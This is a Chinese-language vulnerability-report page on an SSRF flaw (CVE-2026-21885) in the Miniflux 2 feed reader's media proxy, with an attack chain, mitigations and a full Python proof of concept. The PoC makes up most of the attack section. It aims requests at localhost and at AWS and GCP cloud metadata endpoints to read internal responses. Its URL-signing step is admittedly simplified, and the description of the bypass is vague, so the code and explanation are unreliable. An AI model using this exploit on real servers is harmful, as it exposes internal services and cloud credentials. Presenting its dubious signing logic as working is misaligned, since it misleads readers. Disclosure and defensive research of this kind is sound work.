IPBUF安全漏洞报告
English
CVE-2026-21885 CVSS 6.5 中危

CVE-2026-21885 Miniflux 2 媒体代理端点SSRF漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-21885
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Miniflux 2

相关标签

SSRF服务端请求伪造MinifluxCVE-2026-21885媒体代理Feed Reader认证绕过内网探测CVSS 6.5中危漏洞

漏洞概述

Miniflux 2是一款开源的Feed阅读器。在2.2.16版本之前,其媒体代理端点(GET /proxy/{encodedDigest}/{encodedURL})存在服务端请求伪造(SSRF)漏洞。认证用户可以利用此漏洞构造恶意的代理URL,诱使服务器向攻击者指定的内部或外部地址发起请求。这允许攻击者探测内网服务、访问内部元数据端点、读取本地服务响应等。由于CVSS评分6.5且具有高机密性影响,该漏洞对系统安全性构成中等威胁。攻击者利用认证用户的低权限即可发起攻击,无需用户交互即可成功利用。

技术细节

漏洞存在于Miniflux的媒体代理功能中。当用户提交Feed订阅时,服务器会对媒体URL进行编码并生成签名URL,格式为 /proxy/{encodedDigest}/{encodedURL}。攻击者通过构造包含特殊编码的内部地址(如 http://localhost:port/path、http://127.0.0.1:port/path 或 http://169.254.169.254/ 等云元数据端点)的媒体URL,可以绕过基本的安全检查。服务器在处理代理请求时,会使用攻击者提供的URL向内部服务发起HTTP请求,并将响应内容返回给攻击者。漏洞利用的关键在于:1)攻击者利用认证用户身份获取合法的签名机制;2)通过编码技术绕过URL黑名单过滤;3)利用代理功能访问本不应暴露的内部资源。修复版本2.2.16添加了更严格的URL验证和白名单机制。

攻击链分析

STEP 1
步骤1
攻击者获取Miniflux认证账户,登录系统
STEP 2
步骤2
攻击者构造包含内部地址的恶意媒体URL(如http://localhost:port/path)
STEP 3
步骤3
利用Miniflux的媒体代理功能生成签名的代理URL /proxy/{digest}/{encodedURL}
STEP 4
步骤4
攻击者请求生成的代理URL,触发服务器向内部地址发起HTTP请求
STEP 5
步骤5
服务器获取内部响应并返回给攻击者,实现SSRF攻击
STEP 6
步骤6
攻击者利用返回的内部响应进行进一步内网渗透或获取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-21885 Miniflux SSRF PoC Target: Miniflux < 2.2.16 Type: Server-Side Request Forgery via media proxy endpoint """ import requests import hashlib import base64 import urllib.parse # Configuration TARGET_URL = "http://target-miniflux-server.com" # Replace with target USERNAME = "attacker" PASSWORD = "password" def get_auth_token(): """Login to Miniflux and get session token""" login_url = f"{TARGET_URL}/login" session = requests.Session() response = session.get(login_url) login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data, allow_redirects=False) return session def generate_proxy_url(session, target_url): """ Generate signed proxy URL for the target URL The signature is based on digest of the URL """ # Encode target URL encoded_url = base64.urlsafe_b64encode(target_url.encode()).decode().rstrip('=') # Generate digest (simplified - actual implementation may vary) digest = hashlib.sha256(target_url.encode()).hexdigest()[:16] encoded_digest = base64.urlsafe_b64encode(digest.encode()).decode().rstrip('=') proxy_url = f"{TARGET_URL}/proxy/{encoded_digest}/{encoded_url}" return proxy_url def exploit_ssrf(session, internal_target): """Execute SSRF attack against internal target""" proxy_url = generate_proxy_url(session, internal_target) print(f"[*] Target internal URL: {internal_target}") print(f"[*] Proxy URL: {proxy_url}") try: response = session.get(proxy_url, timeout=10) print(f"[*] Status: {response.status_code}") print(f"[*] Response length: {len(response.content)} bytes") if response.status_code == 200: print(f"[+] Success! Response preview:") print(response.text[:500]) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): print("="*60) print("CVE-2026-21885 Miniflux SSRF Exploitation") print("="*60) # Login to get authenticated session session = get_auth_token() # Target internal resources internal_targets = [ "http://127.0.0.1:8080/", # Localhost "http://localhost:80/", # Local HTTP "http://169.254.169.254/latest/meta-data/", # AWS metadata "http://metadata.google.internal/computeMetadata/v1/", # GCP metadata ] for target in internal_targets: print(f"\n[*] Testing: {target}") exploit_ssrf(session, target) if __name__ == "__main__": main()

影响范围

Miniflux < 2.2.16

防御指南

临时缓解措施
如无法立即升级,可采取以下临时措施:1)使用防火墙限制Miniflux服务器的网络出站访问;2)禁用不必要的代理功能或限制可代理的域名范围;3)监控代理端点的异常访问日志;4)对内网服务实施强认证机制;5)考虑使用WAF规则阻止对内部地址的代理请求。建议尽快升级到2.2.16版本以彻底修复漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表